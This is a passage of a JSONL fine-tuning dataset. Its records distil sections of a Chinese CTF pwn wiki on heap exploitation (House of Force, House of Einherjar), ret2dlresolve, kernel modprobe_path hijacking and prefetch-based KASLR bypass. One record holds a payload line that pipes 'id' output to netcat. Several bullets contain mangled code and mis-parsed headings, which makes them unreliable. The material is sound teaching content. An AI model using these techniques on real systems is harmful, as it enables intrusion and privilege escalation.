fdtable->full_fds_b...\n- Nevertheless, it should be close to \"account everything\" approach and keep most workloads within bounds.\n\n关键术语：\n- 堆\n- AI安全\n- 修复/缓解\n- pwn\n- linux\n- kernel-mode\n- defense\n\n代码/命令片段线索：\n- plain: 10 行，首行 `Currently, if we want to account all objects of a particular kmem cache,`\n- plain: 25 行，首行 `Mark those kmem allocations that are known to be easily triggered from`\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "pwn", "chars": 1827, "chunk_count": 1, "chunk_index": 0, "ctf_score": 26, "ctf_task_type": "pwn", "heading": "SLAB_ACCOUNT", "heading_path": ["内部隔离", "堆块隔离", "SLAB_ACCOUNT"], "original_id": "docs-ac3eb146925d42674999", "original_line": 673, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/kernel-mode/defense/isolation/inner-kernel/heap-chunk.md", "source_root": "docs", "source_sha256": "c199ecf56e6b06993e38b4e0bb3c401ab44aa02a24cb6354170fc0362bb2fc7d", "split": "train", "split_group_key": "0f41e18ed99b4ed01f79fd5c", "subcategory": "pwn/linux/kernel-mode", "terms": ["堆", "AI安全", "修复/缓解", "pwn", "linux", "kernel-mode", "defense"], "title": "内部隔离"}, "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/kernel-mode/defense/isolation/inner-kernel/heap-chunk.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "pwn", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-5bec3f267d1acba1df61", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/pwn/linux/user-mode/heap/ptmalloc2/house-of-force.md` 中的章节「简单示例2」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/pwn/linux/user-mode/heap/ptmalloc2/house-of-force.md`\n标题：House Of Force\n章节：House Of Force > 简单示例2\n路径分类：pwn / pwn/linux/user-mode\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“简单示例2”展开。\n- 在上一个示例中，我们演示了通过 HOF 使得 top chunk 的指针减小来修改位于其上面(低地址)的got表中的内容， 但是 HOF 其实也可以使得 top chunk 指针增大来修改位于高地址空间的内容，我们通过这个示例来演示这一点 `` int main() { long ptr,ptr2;\n- } ` 我们可以看到程序代码与简单示例1基本相同，除了第二次 malloc 的 size 有所不同。\n- <=== 修改top chunk size malloc(140737345551056);\n- ptr=(long )(((long)ptr)+24);\n- <=== 增大top chunk指针 malloc(0x10);\n\n关键术语：\n- 堆\n- 栈\n- AI安全\n- pwn\n- linux\n- user-mode\n- heap\n\n代码/命令片段线索：\n- plain: 9 行，首行 `int main()`\n- plain: 20 行，首行 `Start End Offset Perm Path`\n- plain: 7 行，首行 `0x7ffff7dd1b20 : 0x0000000100000000 0x0000000000000000`\n- plain: 3 行，首行 `rax = 0x00007ffff7dd1b10`\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "pwn", "chars": 2883, "chunk_count": 1, "chunk_index": 0, "ctf_score": 24, "ctf_task_type": "pwn", "heading": "简单示例2", "heading_path": ["House Of Force", "简单示例2"], "original_id": "docs-336fc3baa716493362a3", "original_line": 978, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/heap/ptmalloc2/house-of-force.md", "source_root": "docs", "source_sha256": "27e5d508f1506ce1b54b9cd5ee0beed81d03242b5dc58c99c27d5a4a84d6cfa9", "split": "train", "split_group_key": "2d9f68e6141ca9c1c2601c94", "subcategory": "pwn/linux/user-mode", "terms": ["堆", "栈", "AI安全", "pwn", "linux", "user-mode", "heap"], "title": "House Of Force"}, "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/heap/ptmalloc2/house-of-force.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "pwn", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-5c2666f5cad4499dce10", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/pwn/linux/user-mode/stackoverflow/x86/fancy-rop.md` 中的章节「确定保护」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/pwn/linux/user-mode/stackoverflow/x86/fancy-rop.md`\n标题：花式栈溢出技巧\n章节：DEBUG(\"b *0x4006B9\\nc\") > 栈上的 partial overwrite > 2018-安恒杯-babypie > 确定保护\n路径分类：pwn / pwn/linux/user-mode\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“确定保护”展开。\n- ``bash babypie: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=77a11dbd367716f44ca03a81e8253e14b6758ac3, stripped [*] '/home/m4x/pwn_repo/LinkCTF_2018....\n\n关键术语：\n- 边界/溢出\n- 栈\n- ROP/JOP\n- pwn\n- linux\n- user-mode\n- stackoverflow\n- code:bash\n\n代码/命令片段线索：\n- bash: 7 行，首行 `babypie: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-...`\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "pwn", "chars": 410, "chunk_count": 1, "chunk_index": 0, "ctf_score": 26, "ctf_task_type": "pwn", "heading": "确定保护", "heading_path": ["DEBUG(\"b *0x4006B9\\nc\")", "栈上的 partial overwrite", "2018-安恒杯-babypie", "确定保护"], "original_id": "docs-065b9d6d82e9deeae221", "original_line": 1271, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/stackoverflow/x86/fancy-rop.md", "source_root": "docs", "source_sha256": "0b7df13e54f705c9de45a0f19d62105001f5f8907741819d44afc12bc54434d7", "split": "train", "split_group_key": "fa761d96b6b17e2a562f6fd4", "subcategory": "pwn/linux/user-mode", "terms": ["边界/溢出", "栈", "ROP/JOP", "pwn", "linux", "user-mode", "stackoverflow", "code:bash"], "title": "花式栈溢出技巧"}, "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/stackoverflow/x86/fancy-rop.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "pwn", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-5c3e52e165b47225ee8d", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/pwn/linux/user-mode/stackoverflow/x86/advanced-rop/ret2dlresolve.md` 中的章节「.got.plt:0000000000600B48 qword_600B48 dq 0」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/pwn/linux/user-mode/stackoverflow/x86/advanced-rop/ret2dlresolve.md`\n标题：ret2dlresolve\n章节：.got.plt:0000000000600B48 qword_600B48 dq 0\n路径分类：pwn / pwn/linux/user-mode\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“.got.plt:0000000000600B48 qword_600B48 dq 0”展开。\n- target_addr = 0x600B40 data_addr = 0x600BC0 offset = target_addr-data_addr payload = p64(offset & (2**64 - 1)) payload += p64(elf.got[\"__libc_start_main\"]) payload += \"id|nc 127.0.0.1 8080\\x00\".ljust(0x18,'a') payload += ret2dlresolve_with_fakelinkmap_x64(l...\n\n关键术语：\n- 边界/溢出\n- 栈\n- ROP/JOP\n- AI安全\n- 漏洞利用\n- pwn\n- linux\n- user-mode\n- stackoverflow\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "pwn", "chars": 376, "chunk_count": 1, "chunk_index": 0, "ctf_score": 28, "ctf_task_type": "pwn", "heading": ".got.plt:0000000000600B48 qword_600B48 dq 0", "heading_path": [".got.plt:0000000000600B48 qword_600B48 dq 0"], "original_id": "docs-e1ed72fb2557a03cce6f", "original_line": 73, "original_split": "test", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/stackoverflow/x86/advanced-rop/ret2dlresolve.md", "source_root": "docs", "source_sha256": "2e19134d3375fa37fb3e560ae4b2109f6d74f32723e63394ef57aadfc89c451a", "split": "train", "split_group_key": "c1e15e1f8f9e4ab6fddc2c37", "subcategory": "pwn/linux/user-mode", "terms": ["边界/溢出", "栈", "ROP/JOP", "AI安全", "漏洞利用", "pwn", "linux", "user-mode", "stackoverflow"], "title": "ret2dlresolve"}, "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/stackoverflow/x86/advanced-rop/ret2dlresolve.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "pwn", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-5cab8cb065b8ad993f31", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/pwn/linux/kernel-mode/exploitation/heap/slub/freelist.md` 中的章节「Step.III - 修改 modprobe\\_path 以 root 执行程序」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/pwn/linux/kernel-mode/exploitation/heap/slub/freelist.md`\n标题：freelist 劫持\n章节：freelist 劫持 > 例题：RWCTF2022高校赛 - Digging into kernel 1 & 2 > 漏洞利用 > Step.III - 修改 modprobe\\_path 以 root 执行程序\n路径分类：pwn / pwn/linux/kernel-mode\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“Step.III - 修改 modprobe\\_path 以 root 执行程序”展开。\n- 接下来我们考虑如何通过任意地址写完成利用，比较常规的做法是覆写内核中的一些全局的可写的函数表（例如 n_tty_ops）来劫持内核执行流，这里笔者选择覆写 modprobe_path 从而以 root 执行程序。\n- return call_usermodehelper_exec(info, wait | UMH_KILLABLE);\n- / check free_modprobe_argv() */ argv[4] = NULL;\n- info = call_usermodehelper_setup(modprobe_path, argv, envp, GFP_KERNEL, NULL, free_modprobe_argv, NULL);\n- ` 在这里调用了函数 call_usermodehelper_exec() 将 modprobe_path 作为可执行文件路径以 root 权限将其执行，这个地址上默认存储的值为/sbin/modprobe`。\n\n关键术语：\n- 堆\n- AI安全\n- 漏洞利用\n- pwn\n- linux\n- kernel-mode\n- exploitation\n- code:c\n\n代码/命令片段线索：\n- c: 9 行，首行 `entry_SYSCALL_64()`\n- c: 14 行，首行 `static int call_modprobe(char *module_name, int wait)`\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "pwn", "chars": 1061, "chunk_count": 1, "chunk_index": 0, "ctf_score": 30, "ctf_task_type": "pwn", "heading": "Step.III - 修改 modprobe\\_path 以 root 执行程序", "heading_path": ["freelist 劫持", "例题：RWCTF2022高校赛 - Digging into kernel 1 & 2", "漏洞利用", "Step.III - 修改 modprobe\\_path 以 root 执行程序"], "original_id": "docs-2cff5f8b67d747357b28", "original_line": 759, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/kernel-mode/exploitation/heap/slub/freelist.md", "source_root": "docs", "source_sha256": "02896b554073a50b7d6d905e5443637655518f6daf2fa5641454b79f4a5f76a3", "split": "train", "split_group_key": "65da0a094d2b4fab93a31723", "subcategory": "pwn/linux/kernel-mode", "terms": ["堆", "AI安全", "漏洞利用", "pwn", "linux", "kernel-mode", "exploitation", "code:c"], "title": "freelist 劫持"}, "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/kernel-mode/exploitation/heap/slub/freelist.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "pwn", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-5cd6aff1a955ceb9b829", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/pwn/hardware/cpu/side-channel/prefetch.md` 中的章节「KASLR bypass with KPTI enabled」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/pwn/hardware/cpu/side-channel/prefetch.md`\n标题：prefetch side-channel attack\n章节：prefetch side-channel attack > KASLR bypass > KASLR bypass with KPTI enabled\n路径分类：pwn / pwn/hardware/cpu\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“KASLR bypass with KPTI enabled”展开。\n- 当 KPTI 开启时，用户态程序所使用的页表几乎没有对内核内存的映射，但仍然存在对系统调用入口函数的映射，这为 prefetch 侧信道攻击留下了一个缺口，由于系统调用入口函数同样存在于内核代码段中，因此我们可以通过利用 prefetch 侧信道攻击获取到映射了系统调用入口函数的虚拟地址从而绕过 KASLR。\n- > 参见 EntryBleed: Breaking KASLR under KPTI with Prefetch (CVE-2022-4543)。\n\n关键术语：\n- CVE\n- 漏洞利用\n- pwn\n- hardware\n- cpu\n- side-channel\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "pwn", "chars": 286, "chunk_count": 1, "chunk_index": 0, "ctf_score": 26, "ctf_task_type": "pwn", "heading": "KASLR bypass with KPTI enabled", "heading_path": ["prefetch side-channel attack", "KASLR bypass", "KASLR bypass with KPTI enabled"], "original_id": "docs-00257d870ffc7bf18360", "original_line": 637, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "pwn/hardware/cpu/side-channel/prefetch.md", "source_root": "docs", "source_sha256": "2becfb3a5a6f80745403242ec2d2ce0a4c230bb280b012418ce1204612558448", "split": "train", "split_group_key": "a02a093e67992da1070336dd", "subcategory": "pwn/hardware/cpu", "terms": ["CVE", "漏洞利用", "pwn", "hardware", "cpu", "side-channel"], "title": "prefetch side-channel attack"}, "source_dataset": "docs_distilled_v1", "source_path": "pwn/hardware/cpu/side-channel/prefetch.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "pwn", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-5d0a6f4844d64400969c", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/pwn/linux/user-mode/heap/ptmalloc2/chunk-extend-overlapping.md` 中的章节「原理」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/pwn/linux/user-mode/heap/ptmalloc2/chunk-extend-overlapping.md`\n标题：Chunk Extend and Overlapping\n章节：Chunk Extend and Overlapping > 原理\n路径分类：pwn / pwn/linux/user-mode\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“原理”展开。\n- chunk extend技术能够产生的原因在于ptmalloc在对堆chunk进行操作时使用的各种宏。\n- 通过上面几个宏可以看出，ptmalloc通过chunk header的数据判断chunk的使用情况和对chunk的前后块进行定位。\n- 在 ptmalloc 中，获取下一 chunk 块地址的操作如下 ` / Ptr to next physical malloc_chunk. / #define next_chunk(p) ((mchunkptr)(((char ) (p)) + chunksize(p))) ` 即使用当前块指针加上当前块大小。\n- 在 ptmalloc 中，获取前一个 chunk 信息的操作如下 ` / Size of the chunk below P.\n- Only valid if prev_inuse (P). / #define prev_size(p) ((p)->mchunk_prev_size) / Ptr to previous physical malloc_chunk.\n\n关键术语：\n- 堆\n- 漏洞利用\n- pwn\n- linux\n- user-mode\n- heap\n\n代码/命令片段线索：\n- plain: 4 行，首行 `/* Get size, ignoring use bits */`\n- plain: 2 行，首行 `/* Ptr to next physical malloc_chunk. */`\n- plain: 4 行，首行 `/* Size of the chunk below P. Only valid if prev_inuse (P). */`\n- plain: 2 行，首行 `#define inuse(p)`\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "pwn", "chars": 1252, "chunk_count": 1, "chunk_index": 0, "ctf_score": 26, "ctf_task_type": "pwn", "heading": "原理", "heading_path": ["Chunk Extend and Overlapping", "原理"], "original_id": "docs-9566a6523469621ef3d8", "original_line": 901, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/heap/ptmalloc2/chunk-extend-overlapping.md", "source_root": "docs", "source_sha256": "b01e68217ab7de1be420b9424581a4f5375501c0cee771572bfb815bdb771d2a", "split": "train", "split_group_key": "9a82f0b547079d0dcd4937c2", "subcategory": "pwn/linux/user-mode", "terms": ["堆", "漏洞利用", "pwn", "linux", "user-mode", "heap"], "title": "Chunk Extend and Overlapping"}, "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/heap/ptmalloc2/chunk-extend-overlapping.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "pwn", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-5d9266b880d9b6554857", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/pwn/linux/user-mode/stackoverflow/x86/basic-rop.md` 中的章节「参考阅读」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/pwn/linux/user-mode/stackoverflow/x86/basic-rop.md`\n标题：基本 ROP\n章节：zer0ptr @ DESKTOP-FHEMUHT in ~/Pwn-Research/ROP/ret2shellcode/wiki [21:14:26] > 参考阅读\n路径分类：pwn / pwn/linux/user-mode\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“参考阅读”展开。\n- 乌云一步一步ROP篇(蒸米) - 手把手教你栈溢出从入门到放弃（上） - 手把手教你栈溢出从入门到放弃（下） - 【技术分享】现代栈溢出利用技术基础：ROP\n\n关键术语：\n- 边界/溢出\n- 栈\n- ROP/JOP\n- AI安全\n- 漏洞利用\n- pwn\n- linux\n- user-mode\n- stackoverflow\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "pwn", "chars": 267, "chunk_count": 1, "chunk_index": 0, "ctf_score": 26, "ctf_task_type": "pwn", "heading": "参考阅读", "heading_path": ["zer0ptr @ DESKTOP-FHEMUHT in ~/Pwn-Research/ROP/ret2shellcode/wiki [21:14:26]", "参考阅读"], "original_id": "docs-4585f3137937c46fa952", "original_line": 1255, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/stackoverflow/x86/basic-rop.md", "source_root": "docs", "source_sha256": "057a5fc1a3ebb4d1e1c7911a1cc846c084c7768efcee467c77c24351625444cb", "split": "train", "split_group_key": "8bda8d1485115de43fcc0336", "subcategory": "pwn/linux/user-mode", "terms": ["边界/溢出", "栈", "ROP/JOP", "AI安全", "漏洞利用", "pwn", "linux", "user-mode", "stackoverflow"], "title": "基本 ROP"}, "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/stackoverflow/x86/basic-rop.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "pwn", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-5deb0db470219f5259d3", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/pwn/linux/user-mode/heap/ptmalloc2/house-of-force.md` 中的章节「介绍」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/pwn/linux/user-mode/heap/ptmalloc2/house-of-force.md`\n标题：House Of Force\n章节：House Of Force > 介绍\n路径分类：pwn / pwn/linux/user-mode\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“介绍”展开。\n- House Of Force 属于 House Of XXX 系列的利用方法，House Of XXX 是 2004 年《The Malloc Maleficarum-Glibc Malloc Exploitation Techniques》中提出的一系列针对 glibc 堆分配器的利用方法。\n- 但是，由于年代久远《The Malloc Maleficarum》中提出的大多数方法今天都不能奏效，我们现在所指的 House Of XXX 利用相比 2004 年文章中写的已有较大的不同。\n- 但是《The Malloc Maleficarum》依然是一篇推荐阅读的文章，你可以在这里读到它的原文： https://dl.packetstormsecurity.net/papers/attack/MallocMaleficarum.txt\n\n关键术语：\n- 堆\n- 漏洞利用\n- pwn\n- linux\n- user-mode\n- heap\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "pwn", "chars": 366, "chunk_count": 1, "chunk_index": 0, "ctf_score": 28, "ctf_task_type": "pwn", "heading": "介绍", "heading_path": ["House Of Force", "介绍"], "original_id": "docs-ea07531857b1fc93a339", "original_line": 976, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/heap/ptmalloc2/house-of-force.md", "source_root": "docs", "source_sha256": "27e5d508f1506ce1b54b9cd5ee0beed81d03242b5dc58c99c27d5a4a84d6cfa9", "split": "train", "split_group_key": "fb016536c1f8a3bf9784579a", "subcategory": "pwn/linux/user-mode", "terms": ["堆", "漏洞利用", "pwn", "linux", "user-mode", "heap"], "title": "House Of Force"}, "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/heap/ptmalloc2/house-of-force.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "pwn", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-5e33f976da01a39f1c10", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/pwn/linux/user-mode/heap/ptmalloc2/house-of-einherjar.md` 中的章节「介绍」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/pwn/linux/user-mode/heap/ptmalloc2/house-of-einherjar.md`\n标题：House Of Einherjar\n章节：House Of Einherjar > 介绍\n路径分类：pwn / pwn/linux/user-mode\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“介绍”展开。\n- house of einherjar 是一种堆利用技术，由 Hiroki Matsukuma 提出。\n- 此外，需要注意的是，在一些特殊大小的堆块中，off by one 不仅可以修改下一个堆块的 prev_size，还可以修改下一个堆块的 PREV_INUSE 比特位。\n- 该堆利用技术可以强制使得 malloc 返回一个几乎任意地址的 chunk 。\n- 其主要在于滥用 free 中的后向合并操作（合并低地址的chunk），从而使得尽可能避免碎片化。\n\n关键术语：\n- 堆\n- 漏洞利用\n- pwn\n- linux\n- user-mode\n- heap\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "pwn", "chars": 228, "chunk_count": 1, "chunk_index": 0, "ctf_score": 26, "ctf_task_type": "pwn", "heading": "介绍", "heading_path": ["House Of Einherjar", "介绍"], "original_id": "docs-3c7466a44bf9bf20499b", "original_line": 968, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/heap/ptmalloc2/house-of-einherjar.md", "source_root": "docs", "source_sha256": "7555ab87640a8cca0af7390ea651fe0a6f5200d3f5a461105702e891b734e4f5", "split": "train", "split_group_key": "bc6231e4c2d4b2165d14fc43", "subcategory": "pwn/linux/user-mode", "terms": ["堆", "漏洞利用", "pwn", "linux", "user-mode", "heap"], "title": "House Of Einherjar"}, "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/heap/ptmalloc2/house-of-einherjar.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "pwn", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-5e6306e4d4452a13521a", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/pwn/virtualization/basic-knowledge/io-virtualization.md` 中的章节「DMA 重映射」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/pwn/virtualization/basic-knowledge/io-virtualization.md`\n标题：IO 虚拟化\n章节：IO 虚拟化 > IOMMU > DMA 重映射\n路径分类：pwn / pwn/virtualization/basic-knowledge\n分块：1/1\n\n核心知识点：\n- DMA 重映射即面向设备侧的地址访问重翻译，如下图所示，左侧是 CPU 对内存的虚拟化：MMU 利用进程页表将进程要访问的虚拟地址翻译为物理地址，从而实现在两个进程中访问同一个虚拟地址实际上访问到不同的物理地址——DMA 重映射也是类似的原理，如下图右侧所示，当外设想要进行 DMA 时，IOMMU 会根据“设备页表”进行地址翻译，从而使得两个设备各自感知访问的是同一个地址，但实际上访问到了不同的物理地址。\n- [图片文件: ./figure/dma_addr_trans.png]\n\n关键术语：\n- 漏洞利用\n- pwn\n- virtualization\n- basic-knowledge\n- io-virtualization.md\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "pwn", "chars": 241, "chunk_count": 1, "chunk_index": 0, "ctf_score": 26, "ctf_task_type": "pwn", "heading": "DMA 重映射", "heading_path": ["IO 虚拟化", "IOMMU", "DMA 重映射"], "original_id": "docs-bd79a46b4f88ffb8dda5", "original_line": 1414, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "pwn/virtualization/basic-knowledge/io-virtualization.md", "source_root": "docs", "source_sha256": "ff9b01703451d093829def71a27f03c2cc2aac081cf073a0628e028fe37eb910", "split": "train", "split_group_key": "0e10eff843fcca724fb62547", "subcategory": "pwn/virtualization/basic-knowledge", "terms": ["漏洞利用", "pwn", "virtualization", "basic-knowledge", "io-virtualization.md"], "title": "IO 虚拟化"}, "source_dataset": "docs_distilled_v1", "source_path": "pwn/virtualization/basic-knowledge/io-virtualization.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "pwn", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-5e72d37561f09bdc5916", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/pwn/linux/user-mode/heap/ptmalloc2/implementation/malloc.md` 中的章节「_int_malloc」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/pwn/linux/user-mode/heap/ptmalloc2/implementation/malloc.md`\n标题：申请内存块\n章节：申请内存块 > _int_malloc\n路径分类：pwn / pwn/linux/user-mode\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“_int_malloc”展开。\n- / remainder from a split / unsigned long remainder_size;\n- / Convert request size to internal form by adding SIZE_SZ bytes overhead plus possibly more to obtain necessary alignment and/or to obtain a size of at least MINSIZE, the smallest allocatable size.\n- 4. 当 top chunk 也无法满足时，堆分配器才会进行内存块申请。\n- / its bin index / mchunkptr remainder;\n- 2. 它由小到大依次检查不同的 bin 中是否有相应的空闲块可以满足用户请求的内存。\n\n关键术语：\n- 堆\n- AI安全\n- pwn\n- linux\n- user-mode\n- heap\n- code:c++\n\n代码/命令片段线索：\n- c++: 24 